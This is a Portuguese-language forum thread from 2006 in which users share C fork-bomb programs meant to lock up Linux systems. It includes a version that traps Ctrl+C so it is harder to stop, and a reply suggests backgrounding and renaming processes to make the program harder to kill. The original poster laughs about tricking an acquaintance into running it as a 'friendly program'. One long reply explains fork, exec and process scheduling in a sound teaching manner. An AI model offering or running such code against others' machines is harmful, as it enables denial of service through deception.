Página 1 de 2 12 ÚltimoÚltimo
Exibindo resultados 1 até 10 de 19

Tópico: Code que trava o linux parcialmente.

  1. #1
    Desde
    May 2006
    Posts
    38
    Peso da Avaliação
    0

    Code que trava o linux parcialmente.

    Esse é um de meus codes(que são poucos) que tenho certa convicção que é consideravelmente chato.
    Ele trava seu linux para abertura de qualquer coisa, mas o resto você pode usar normalmente. A única forma de para-lo é usando SIGINT(dando ctrl + c no terminal de execução)

    Está aí o code:

    Código:
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    int main()
    {
            printf("...");
    
            for(;;)
            {
                    fork();
            }
    
            return(0);
    }
    Ele é relativamente simples, mas consideravelmente irritante. Houve uma ajuda de um amigo a me dar a base para fazer esse code, sendo que ele me mostrou uma forma de deixar o linux louco.
    Espero que gostem, até mais.

  2. #2
    Desde
    Oct 2001
    Posts
    4.484
    Peso da Avaliação
    26

    Re: Code que trava o linux parcialmente.

    Citar Originalmente enviado por storm_
    Ele trava seu linux para abertura de qualquer coisa, mas o resto voc&#234; pode usar normalmente.
    Qual &#233; o sentido de deixar a pr&#243;pria m&#225;quina sem recursos?

    Em m&#225;quinas compartilhadas, a quantidade de processos que cada usu&#225;rio pode abrir &#233; limitada de forma que n&#227;o atrapalhe muito os outros usu&#225;rios. O mesmo vale para a quantidade de arquivos abertos.

    Se for para sacanear alqu&#233;m com esse programa, incremente ele de forma que ele se coloque em background e mude o processo de nome em cada fork. Vai ser um pouco mais chato de matar.

    []s, MM

  3. #3
    Desde
    Dec 2004
    Posts
    866
    Peso da Avaliação
    16

    Re: Code que trava o linux parcialmente.

    Citar Originalmente enviado por mmachado
    Se for para sacanear alquém com esse programa, incremente ele de forma que ele se coloque em background e mude o processo de nome em cada fork. Vai ser um pouco mais chato de matar.
    Porque? Bastaria matar o processo pai.
    Assinatura? Só na presença dos meus advogadoshttp://naopod.com

  4. #4
    Desde
    May 2006
    Posts
    38
    Peso da Avaliação
    0

    Re: Code que trava o linux parcialmente.

    Citar Originalmente enviado por mmachado
    Qual é o sentido de deixar a própria máquina sem recursos?

    Em máquinas compartilhadas, a quantidade de processos que cada usuário pode abrir é limitada de forma que não atrapalhe muito os outros usuários. O mesmo vale para a quantidade de arquivos abertos.

    Se for para sacanear alquém com esse programa, incremente ele de forma que ele se coloque em background e mude o processo de nome em cada fork. Vai ser um pouco mais chato de matar.

    []s, MM

    Mas e executar em máquinas alheias? Hahaha, seria legal, eu já pedi para um cara testar, falei que era um programa amistoso, ele voltou 15 minutos depois xingando-me de diversas formas. Quanto a colocar mais recursos, verei depois, pois ainda não sou nenhum guru em C.
    Até mais.

  5. #5
    Desde
    Dec 2004
    Local
    Darmstadt, Alemanha
    Idade
    29
    Posts
    919
    Peso da Avaliação
    20

    Re: Code que trava o linux parcialmente.

    MM... eu acho extremamente inútil como forma de ataque hehehe...

    Mas eu lembro que uma vez eu precisava simular uma situação de alta carga de processador... E um programinha tipo esse me foi extremamente útil. ;) (Pronto, salvei o tópico :P)
    "Then you will know the truth, and the truth will set you free"

  6. #6

    Re: Code que trava o linux parcialmente.

    hueuaeuahuaheuaheuheuahuheuahuhuehuehauehauheuaheu heuaheuaheuhauehauehauehuaheu
    aheuaheuaheuahuehauehauheuaheuaheuhauehauehuaheuah euahuehaueuaheuaheuahuehauehauehuaheuaheuahuehaue

    edit:

    aeaehaueahuehauehauheuaheuaheuaheuhae

    Código:
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    
    int main()
    {
            printf("...");
    
            for(;;)
            {
                    printf("uahuhehuaehuehuaehuaehuah");
            }
    
            return(0);
    }
    =D

    edit: notem que estou gastando recursos a mais tbm! estou usando 2 bibliotecas inuteis pro programa.
    Última edição por Guzpido Krush : 29/07/2006 às 14:34
    ---
    MATARAM KENNEDY, CERTO? VEJAM SEU
    DISCURSO ACERCA DE SOCIEDADES SECRETAS
    - - http://youtu.be/RfeFSzB8mqw --
    ---
    MELHOR DISCURSO QUE JÁ VI, CHARLIE CHAPLIN
    http://www.youtube.com/watch?v=sGpCds0e-kg

    (HQ) http://www.redhat.com/v/magazine/ogg/truthhappens.ogg

  7. #7
    Desde
    May 2006
    Posts
    38
    Peso da Avaliação
    0

    Re: Code que trava o linux parcialmente.

    Ele com o loop infinito deixa o sistema com muito processamento sendo "queimado", mas o fork() que gera a bagunça toda, pois ele gera vários e vários processos filhos, que geram mais processos filhos...
    Então chega uma hora em que o linux não abre mais nada, respondendo algo como:
    fork: serviço temporariamente ocupado.

    Aqui o code original do morte:

    Código:
    /* Sick Boy 0.1, por Morte137 */
    /* 2006, Brasil */
    
    #include <signal.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    
    void sigint();
    
    int main()
    {
            signal(SIGINT, sigint);
            fprintf(stderr, "Eu sou um garoto doente =D\n");
    
            while(1)
            {
                    fork();
            }
    
            return(0);
    }
    
    void sigint()
    {
            signal(SIGINT, sigint);
            fprintf(stderr, "Otário, eu num morro assim não =D\n");

    *Mais completo, eficaz e não morre tão fácil.

  8. #8

    Re: Code que trava o linux parcialmente.

    Por tr&#225;s dessas quatro letras, "fork", jaz mais ou menos 13 etapas, e muitos conceitos. N&#243;s vamos conseguir.
    N&#227;o fiz "hauehuaheau" la em cima 'a toa, bem.. bora ent&#227;o....

    Antes de tudo &#233; preciso realmente entender processos.

    Processo &#233; uma abstra&#231;&#227;o fundamental para se dividir o tempo de uso da CPU. Apenas um processo vai usar cada CPU por vez, ponto final.
    Com exce&#231;&#227;o do swapper e do pagedaemon, existe uma hierarquia de processos-pai e filhos sendo o init o processo que est&#225; no topo desta lista. Sempre ter&#225; PID n&#250;mero 1. Os outros dois mencionados s&#227;o erguidos no boot, n&#227;o dependem de init.

    A processos se atribuem estados. Eventos s&#227;o o que causam as transi&#231;&#245;es de estados. (STATE TRANSITION)

    Resumidamente(vers&#227;o lite, nao recomendada p diabeticos): {
    A fork serve para criar um novo processo, que come&#231;a vida idle.
    Quando se termina de criar o processo, fork alterar&#225; o estado para ready-to-run, quando ent&#227;o o processo aguarda ser agendado. O kernel uma hora o selecionar&#225; para executar, iniciando a mudan&#231;a de contexto do programa. &#201; preciso colocar nos registradores do processador, o contexto de hardware em que o processo vai trabalhar. A partir da&#237;, saiu do forno o processo com programa rodando prontinho. }


    A chamada de sistema fork cria um novo processo que &#233; praticamente id&#234;ntico ao processo que origina a chamada. Quando fork retornar, as regi&#245;es de pilha e dados de ambos processo-pai e processo-filho s&#227;o id&#234;nticas, pai e filho portando o mesmo programa. Ecste programa ecsiste.

    S&#243; se passar&#225; ent&#227;o 'a proxima linha de instru&#231;&#227;o do c&#243;digo ap&#243;s o fork depois de feito:

    (1) Reservar espa&#231;o SWAP para os dados e a pilha do novo processo.
    (2) Alocar novo PID e estrutura proc para o processo-filho.
    (3) Inicializar a estrutura proc:
    (USER ID, GROUP ID, PROCESS GROUP, e m&#225;scaras de sinais) -> que s&#227;o copiados do pai.
    (uso de CPU, coisas desse tipo) -> s&#227;o setados para zero.
    (um ponteiro para a estrutura proc do pai, o PID, e o PID do processo-pai)-> s&#227;o todos inicializados para valores espec&#237;ficos do processo-filho.

    (4) Aloca-se um mapa de tradu&#231;&#227;o de endere&#231;os para o filho.
    (5) Aloca-se a &#225;rea u do filho, em seguida copiando a do pai.

    (6) Atualiza-se a &#225;rea u para referir aos novos mapas de endere&#231;os e espa&#231;o swap.

    (7) Ecxiste ent&#227;o o filho dentro do conjunto de processos que dividem a regi&#227;o de texto do programa que o pai est&#225; executando, a &#225;rea da mem&#243;ria em que est&#225; o c&#243;digo execut&#225;vel em formato XM8*, YM8*, ZM8*....

    (8) Duplica-se as regi&#245;es de dados e pilha (stack). Uma p&#225;gina de cada vez, atualizando-se o mapa de endere&#231;os para referir para essas novas p&#225;ginas.

    (9) Adquirir refer&#234;ncias para os recursos compartilhados herdados pelo filho, como por exemplo: ponteiros de arquivos abertos, e diret&#243;rio de trabalho (que seria a sa&#237;da do comando pwd, n&#227;o que ele execute pwd, duh.)

    (10) Inicicializa-se o contexto de hardware: copiando-se um snapshot do estado dos registradores do processo-pai.

    (11) Depois &#233; preciso tornar o processo-filho execut&#225;vel e alist&#225;-lo em uma fila de um agendador. (scheduler queue).

    Tradicionalmente utiliza-se o agendamento preemptivo, obtendo-se assim, MULTITAREFA PREEMPTIVA
    O scheduler consome ciclos de CPU. Scheduler &#233; software, &#233; um programa.

    Agendamentos s&#227;o necess&#225;rios, para dividir os ciclos de cpu. N&#227;o existe multitarefa de verdade. Apenas um peda&#231;o de c&#243;digo pode ser processado por vez. Isso em m&#225;quinas com apenas um processador.

    Quando olhamos cada linha de c&#243;digo, as vemos em sequ&#234;ncia. Pois imagine que uma interrup&#231;&#227;o de hardware possa precisar bloquear esta sequencia de c&#243;digo a qualquer momento. Atividade de perif&#233;rico deflagra uma rotina especial de sistema operacional chamada ISR: Rotina de Servi&#231;o de Interrup&#231;&#227;o. Imediatamente o c&#243;digo do loop infinito de main() &#233; interrompido, e assume o comando, o ISR. Processadores tem seus registradores, suas flags e apontadores de intru&#231;&#245;es. Para ir para a ISR, processadores salvam essas informa&#231;&#245;es na RAM ou as vezes numa pilha. Tudo deve ser depois devolvido para o processador para se resumir execu&#231;&#227;o. Pense: o processador tem que primeiro trabalhar por exemplo o Input/output do perif&#233;rico e depois retornar a execu&#231;&#227;o.

    (block &#233; uma palavra usada para v&#225;rias coisas diferentes em UNIX e gera ambiguidade. Processos "bloqueiam em um recurso" ou "bloqueiam em um evento". O kernel "bloqueia em uma interrup&#231;&#227;o ou sinal" e Input/Output &#233; feito em BLOCOS de tamnhos fixos.) .

    Um algoritmo de bloqueio de recurso deve cumprir mais ou menos isso:
    Fato: O PROCESSO QUER RECURSOS ->
    {(a) Recurso Est&#225; liberado? }
    {a=SIM-}> {TRANQUE O RECURSO, USE RECURSO, DESTRANQUE RECURSO} -> -->{Outro processo quer o recurso? (b)}, se se nao, resumir processamento.
    {a=N&#227;o}-> {DURMA} -> {Espere ser acordado}, e retorne para (a)

    Duas flags s&#227;o associadas para cada objeto que se possa utilizar como recurso. Uma &#233; a que marca que o objeto est&#225; protegido, locked, e a outra, que um processo o deseja, wanted.
    Neste momento, verificara-se somente se " h&#225; desejo " em rela&#231;&#227;o ao recurso, atrav&#233;s dessa flag. Se ela estiver marcada, chama-se wakeup(), que acorda _ _todos_ _ os processos que chamaram sleep().

    Portanto, se b=SIM, (alguem QUER O RECURSO), temos que ACORDAR os processos. Acordar n&#227;o &#233; rodar.

    Um processo que foi dormir pode ir dormir por muito tempo. Pois ele precisa primeiro da chamada wakeup para acord&#225;-lo. "Bloqueia-se em" um recurso ou evento. wakeup deve encontrar cada processo que est&#225; aguardando, mudar seu estado para "rod&#225;vel" colocando-os numa fila para o agendador. O pulo do gato &#233;: quando um processo acorda, ele pode ter que ir dormir novamente, pois outros processos podem rodar enquanto isso (est&#227;o na frente da fila do agendador) e podem travar inclusive, o mesmo recurso novamente.

    &#201; sleep quem coloca os processos em uma fila de processos especiais, de processos blockeados, com o estado "asleep". Sleep chama swtch(), que iniciar&#225; uma mudan&#231;a de contexto permitindo que outro processo rode.

    A fun&#231;&#227;o do agendador &#233; dividir o TEMPO.
    Processos recebem prioridades, e quando elas s&#227;o iguais, cada um roda em uma quantidade fixa de tempo. Em geral, 100ms. Mas quando um processo de maior prioridade se torna rod&#225;vel, ele pode inclusive interromper essa quantia de tempo definida para o processo de menor prioridade.
    O kernel pode ir incrementando dinamicamente o valor da prioridade de cada processo, em fun&#231;&#227;o de tempo de CPU que ele usou ou n&#227;o usou. Isso se chama Usage Factor. Nice factor e usage factor determinam portanto as prioridades de processos.

    Pergunta: D&#225; pra estabelecer prioridades para PROGRAMAS ent&#227;o?
    ( )Sim!! ( )N&#227;o!!!!!!! (x) o Guzpido acha que n&#227;o, mas ele pode estar errado.

    A chamada de sistema nice &#233; a interface para o usu&#225;rio influenciar a prioridade de um processo. Acho que s&#243; o superusuario pode mexer com isso.

    Continuando agora a fork.
    Lembrando que paramos no agendamento do processo. Ele agora est&#225; l&#225;, feliz, encaminhado para rodar.

    (Passo 12) Fa&#231;a de tudo para o processo-filho retornar de fork com um valor de zero.
    (passo 13) Retorne o PID do filho para o pai.

    Retornam-se valores diferentes pois ambos pai e filho imediatamente estar&#227;o executando exato o mesmo programa no momento que retornam de fork, e eles precisam de uma referencia de distin&#231;&#227;o entre si.

    Diversos processos est&#227;o ativos em um sistema ao mesmo tempo, mas n&#227;o rodando. Cada processo roda um &#250;nico programa por vez, apesar de que diversos processos podem rodar o mesmo programa. Eles dividem um &#250;nica c&#243;pia do texto, do c&#243;digo execut&#225;vel em mem&#243;ria, mantendo regi&#245;es separadas de dados e pilha.

    Um processo pode tamb&#233;m MUDAR DE PROGRAMA que est&#225; rodando, invocando outros durante sua vida.

    Uma vez estabelecida esta abstra&#231;&#227;o, podemos controlar isso com chamadas de sistema que terminam, criam e invocam novos programas. Enquanto fork serve para criar novos processos, exec invoca novos programas e coloca eles num processo.

    Que aprendemos com isso? Que *NIXES distinguem duramente, os PROGRAMAS QUE EST&#193; RODANDO, e os processos que os rodam.

    Fork deve entregar para o processo filho uma c&#243;pia-l&#243;gica distinta do espa&#231;o de endere&#231;os de mem&#243;ria do pai.

    exec coloca um novo _programa_ no _processo_ j&#225; existente, se bem sucedido, o espa&#231;o de endere&#231;os do filho &#233; substituidos pelo novo programa com o contador setado para a primeira instru&#231;&#227;o do programa. Uhu! =D

    Pq as fun&#231;&#245;es s&#227;o separadas? Por modularidade.

    Separam-se em duas fun&#231;&#245;es, para por exemplo, podermos forkar diversos processos rodando o mesmo programa, no caso de aplica&#231;&#245;es cliente -servidor por exemplo. Ou ent&#227;o um processo quer apenas chamar um novo programa, mas n&#227;o quer criar um novo processo.

    Entre uma fun&#231;&#227;o e outra podemos: Redirecionar falhas e I/O, Fechar arquivos, Mudar a UID ou GID, resetar tratadores de sinais.

    Uma &#250;nica fun&#231;&#227;o de sistema n&#227;o faria esta fun&#231;&#227;o eficientemente. fork-exec &#233; flex&#237;vel e modular.


    A esta altura fizemos o prometido: criamos um novo processo que &#233; praticamente id&#234;ntico ao processo que origina a chamada. =D

    &#201; o exec quem substitui o espa&#231;o de endere&#231;o de um processo com um novo, portanto, invocando um novo PROGRAMA.

    N&#227;o sei se percebem, mas o V&#212;O do gato &#233; poder proteger os dados da escrita ca&#243;tica e conseguir velocidade ao mesmo tempo. Duas crian&#231;as usando a mesma folha n&#227;o v&#227;o conseguir fazer um bom trabalho em grupo, se todos escreverem ao mesmo tempo. Ainda mais quando s&#243; se tem uma caneta. E uma crian&#231;a n&#227;o pode escrever por cima do q a outra escreveu...

    fork() e vfork() ?
    fork era custoso em velhos sistemas UNIX. Custa pq a c&#243;pia de paginas do processo-pai custa. Em System V decidiu-se resolver isso fazendo com que o processo-filho dividisse as p&#225;ginas de mem&#243;ria contendo pilha e dados do pai, marcando-a como somente leitura. O filho recebe sua pr&#243;pria c&#243;pia dos mapas de tradu&#231;&#227;o de endere&#231;o,
    mas se o pai ou filho tentam alterar uma p&#225;gina da mem&#243;ria,
    ocorre ent&#227;o uma PAGE FAULT EXCEPTION.

    Isso &#233; conhecido como copy-on-write.

    Dentro do kernel existem TRATAMENTOS DE EXCE&#199;&#195;O.
    Chama-se ent&#227;o um page fault handler que copiar&#225; ent&#227;o, APENAS a p&#225;gina que seria modificada. Portanto, se copia em fun&#231;&#227;o apenas do que se vai escrever, e n&#227;o tudo. copy-on-write ; D

    BSD inventou a chamada vfork, para quando se espera efetuar uma exec logo na sequencia. Esta aproxima&#231;&#227;o eh considerada menos segura pois ao processo-filho realmente se atribui o espa&#231;o de endere&#231;os do pai, podendo alter&#225;-lo de fato. Um processo ent&#227;o estaria alterando o conte&#250;do do espa&#231;o de endere&#231;os, e pode at&#233; mesmo, alterar o pr&#243;prio conjunto de endere&#231;os, n&#227;o s&#243; seu conte&#250;do.

    A maioria dos crackers n&#227;o quer s&#243; quebrar o sistema, quer escrever tamb&#233;m onde n&#227;o pode. &#201; justamente uma m&#225; implementa&#231;&#227;o que mais tarde ser&#225; explorada pelo cracker.

    Lembrando que Se vfork for chamado, exec retorna o velho espa&#231;o de endere&#231;o para o pai poder utilizar seus dados novamente.
    No caso de fork, exec libera o velho espa&#231;o de endere&#231;os e o carrega com o conte&#250;do do novo programa.
    Quando exec retornar, o processo resume execu&#231;&#227;o na primeira instru&#231;&#227;o do novo programa.

    O espa&#231;o de endere&#231;os DE PROCESSO cont&#233;m:
    Texto, que &#233; como se refere ao pr&#243;prio c&#243;digo executavel do programa. &#201; o "texto" que se escreve nas "p&#225;ginas".
    Dados inicializados: S&#227;o os dados explicitamente inicializados pelo programa.
    Dados-nao-inicializados: Ao inv&#233;s de atribuir zero a cada variavel declarada mas nao inicializada pelo programa, o cabe&#231;alho do programa vai marcar quantos destes tipos de dados devem ser inicializados, determinando o tamanho da regi&#227;o necess&#225;ria, mas deixa para o sistema operacional fazer isso (encher de zeros).
    Mem&#243;ria Compartilhada Processos podem dividir regi&#245;es de mem&#243;ria.
    Bibliotecas Compartilhadas Com bibliotecas linkadas din&#226;micamente, regi&#245;es separadas de mem&#243;ria contendo dados e c&#243;digo de bibliotecas que pode ser compartilhada por outros processos.
    Heap: para mem&#243;ria poder ser alocada dinamicamente, com as chamadas de sistema brk e sbrk, ou pela tradicional do C, malloc(). &#201; possivel extender a heap se necess&#225;rio.
    pilha do usu&#225;rio Para cada processo h&#225; uma pilha alocada. Se ocorre um estouro de pilha, em geral UNIXes aumentam a pilha tratando essa exce&#231;&#227;o.

    Tem gente que fala que BSD n&#227;o suporta mem&#243;ria compartilhada, mas &#233; mentira. Isso era h&#225; muito tempo atr&#225;s e nessa &#233;poca eu n&#227;o sabia nem piada de papagaio das mais light.

    Nossa. CRIEI UM MONSTRO!!! Espero nao ter feito muita confus&#227;o.
    Vou parar por aqui, mas eu deveria descrever o exec. N&#227;o vou descrever a fun&#231;&#227;o t&#227;o passo-a-passo, mas vou falar brevemente o que ela deveria fazer:

    1-Acessa o executavel pelo pathname passado; 2- verifica se quem chama tem permiss&#227;o de execu&#231;&#227;o para o arquivo; 3-leia o cabe&#231;alho do arquivo e veja se &#233; um execut&#225;vel v&#225;lido; 4- Se bits SUID ou SGID est&#227;o marcados, se seta a UID efetiva e GID para a do dono do arquivo; 5- Copia argumentos e variaveis de ambiente no espa&#231;o de kernel, pois esse espa&#231;o de usu&#225;rio ser&#225; destru&#237;do; 6- aloca espa&#231;o SWAP para as regi&#245;es de dados e pilha; 7- &#233; hora de liberar o velho espa&#231;o de endere&#231;os e o espa&#231;o swap associado, no caso de fork, ou devolver ao pai, no caso de vfork; 8- Alocar novos _mapas_ de endere&#231;os para os novos textos, dados ( data) e pilha. ; 9- Define o novo espa&#231;o de endere&#231;o, inicializando o texto do programa. Se a regi&#227;o de texto j&#225; estiver ativa por outro processo que rode o mesmo programa, este processo vai dividir o programa com o outro. ; 10 - copiar os argumentos e variaveis de ambiente na nova pilha de usu&#225;rio. ; 11- resetar sinais. sinais antes do exec ignorados ou bloqueados permanecem como tal. ; 12- inicializar o contexto de hardware. Registradores v&#227;o pra zero, e o contador do programa vai para o come&#231;o do programa.

    =P

    UYHJ7NM <- cabe&#231;a no teclado

    PS: agradecimentos ao Andrew Tanenbaum que fez o Minix e Uresh VAHALIA

    =D


    XM8*: Eu conhe&#231;o os formatos a.out e elf, por exemplo.

    and have a nice fork !
    Última edição por Guzpido Krush : 30/07/2006 às 01:47
    ---
    MATARAM KENNEDY, CERTO? VEJAM SEU
    DISCURSO ACERCA DE SOCIEDADES SECRETAS
    - - http://youtu.be/RfeFSzB8mqw --
    ---
    MELHOR DISCURSO QUE JÁ VI, CHARLIE CHAPLIN
    http://www.youtube.com/watch?v=sGpCds0e-kg

    (HQ) http://www.redhat.com/v/magazine/ogg/truthhappens.ogg

  9. #9
    Desde
    Jun 2006
    Posts
    48
    Peso da Avaliação
    8

    Re: Code que trava o linux parcialmente.

    Cacete, fork bombing ainda funciona?
    Acho que alguns kernels do Linux colocaram uma protecaozinha contra esse tipo de ataque DoS local (vi isso numa coluna na Security Focus no ano passado.)

  10. #10
    Desde
    Oct 2001
    Posts
    4.484
    Peso da Avaliação
    26

    Re: Code que trava o linux parcialmente.

    Citar Originalmente enviado por nelson
    Porque? Bastaria matar o processo pai.
    Claro, mas atrapalha. O objetivo não era esse? Captar o sigint também "ajuda a atrapalhar". Eu sei! Um reboot também resolve... :)

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Tópicos semelhantes

  1. Windows Server 2003 é mais seguro do que Red Hat Linux
    By hackingsnake in forum Notícias de segurança
    Respostas: 0
    Último post: 23/02/2005, 21:55
  2. Linux nas Corporações: Fatos x FUD
    By Jesus Augusto in forum Servidores Unix
    Respostas: 2
    Último post: 25/01/2005, 10:22
  3. Conectiva x aprimoramento em redes Linux
    By psergiom in forum Educação e Treinamento
    Respostas: 0
    Último post: 15/12/2004, 15:18
  4. Linux vs. Windows em nº de ataques
    By MisterBlack in forum Servidores Unix
    Respostas: 12
    Último post: 05/03/2004, 17:02
  5. Linux avante...
    By DarkSpy in forum Servidores Unix
    Respostas: 0
    Último post: 17/06/2003, 20:59

Regras de envio

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •